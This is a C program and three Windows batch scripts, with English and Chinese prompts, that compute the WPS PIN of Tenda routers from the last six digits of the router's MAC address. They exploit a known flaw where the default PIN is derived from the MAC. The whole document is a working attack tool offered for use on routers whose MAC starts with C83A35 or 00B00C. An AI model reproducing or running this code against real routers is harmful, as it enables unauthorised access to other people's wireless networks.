//Computes PIN code starts with OUI "C83A35" and "00B00C"
//Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.
//Coded by Zhaochunsheng - iBeini.com
//Modified by Lingxi - WiFiBETA.COM


#include <stdio.h>
#include <stdlib.h>

int main()
{

    unsigned int wps_pin_checksum(unsigned int pin);
    int PIN = 0;

 //   printf("ComputePIN-C83A35\n");
    printf("Description:\n");
    printf("If your wireless router MAC address start with \"C83A35\" or \"00B00C\",\n");
    printf("type the other six digits, you might be able to get the \n");
    printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
    printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n");
    printf("Modified by Lingxi - WiFiBETA.COM\n\n");
//Translated to Chinese
	printf("说明：\n");
	printf("如果您的无线路由器MAC地址以“C83A35”或“00B00C”打头，\n");
	printf("输入后六位MAC地址（不分大小写）您或许可以获得该路由的WPS PIN密钥！\n");
	printf("祝你好运！\n\n");
	printf("由赵春生编写于2012年4月7日  Http://iBeini.com\n");
	printf("由灵曦修改并汉化  WiFiBETA.COM\n\n");
    printf("请输入后六位MAC地址（HEX）：\n");
    printf("Input the last 6 digits of MAC Address(HEX):");
    scanf("%x",&PIN);
    printf("您输入的后六位MAC地址是 %X\n",PIN);
    printf("Last 6 digits of MAC Address(HEX) are: %X\n",PIN);
    printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));

    return 0;
}

unsigned int wps_pin_checksum(unsigned int pin)
{
unsigned int accum = 0;
while (pin)
{
accum += 3 * (pin % 10);
pin /= 10;
accum += pin % 10;
pin /= 10;
}

    return (10 - accum % 10) % 10;
}
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@echo off & setlocal enabledelayedexpansion

echo,请输入后六位 MAC 地址 (HEX^)：
set /p "PIN=Input the last 6 digits of MAC Address(HEX): "

echo,您输入的后六位 MAC 地址是 !PIN!
echo,Last 6 digits of MAC Address(HEX^) are: !PIN!

set "accum=0"
set /a "pinO=0x!pin! + 10000000, pin=0x!pin! %% 10000000"
:wps_pin_checksum
if !pin! neq 0 (
  set /a "accum += 3 * (pin %% 10), pin /= 10, accum += pin %% 10, pin /= 10"
  goto :wps_pin_checksum
)
set /a "wps_pin_checksum=(10 - accum %% 10) %% 10"
echo,WPS PIN is: !pinO:~-7!!wps_pin_checksum!
pause
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@echo off & setlocal enabledelayedexpansion
:input
echo,请输入后六位 MAC 地址 (HEX^)：
set /p "PIN=Input the last 6 digits of MAC Address(HEX): "
set "PIN=!PIN: =!"
if "!PIN:~6!" neq "" (echo,输入超过 6 位) & goto :input

echo,您输入的后六位 MAC 地址是 !PIN!
echo,Last 6 digits of MAC Address(HEX^) are: !PIN!

set "accum=0"
set /a "pinO=0x!pin! + 10000000, pin=0x!pin! %% 10000000"
:wps_pin_checksum
if !pin! neq 0 (
  set /a "accum += 3 * (pin %% 10), pin /= 10, accum += pin %% 10, pin /= 10"
  goto :wps_pin_checksum
)
set /a "wps_pin_checksum=(10 - accum %% 10) %% 10"
echo,WPS PIN is: !pinO:~-7!!wps_pin_checksum!

set "comd="
set /p "comd=按 X 键再回车退出, 否则继续查询: "
if /i "%comd%"=="x" (exit) else goto :input
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@echo off & setlocal enabledelayedexpansion
:input
set /p "MACS=请输入后六位 MAC 地址(多组用半角空格或半角逗号分隔): "

echo, #     MAC       WPS_PIN
set "i=100"
for %%M in (!MACS!) do (
	set /a "i+=1"
	set "MAC=%%M"
	if "!MAC:~6!" neq "" (echo,第 !i:~-2! 个超过 6 位) & goto :input
	call :WPS_PIN WPS_PIN !MAC!
	echo,!i:~-2!  !MAC!	!WPS_PIN!
)

set "comd="
set /p "comd=按 X 键再回车退出, 否则继续查询: "
if /i "%comd%"=="x" (exit) else goto :input
exit

:WPS_PIN WPS_PIN pin pinO acc
setlocal
if "%3"=="" set /a "pinO=0x%2 + 10000000, pin=0x%2 %% 10000000"
if "%3"=="" endlocal & (call :WPS_PIN %1 %pin% %pinO:~-7% 0) & exit /b

if %2 equ 0 set /a "checksum=(10 - %4 %% 10) %% 10"
if %2 equ 0 endlocal & set "%1=%3%checksum%" & exit /b

set/a"pin=%2,acc=%4,acc+=3*(pin %% 10),pin/=10,acc+=pin %% 10,pin/=10"
endlocal & (call :WPS_PIN %1 %pin% %3 %acc%) & exit /b
exit /b
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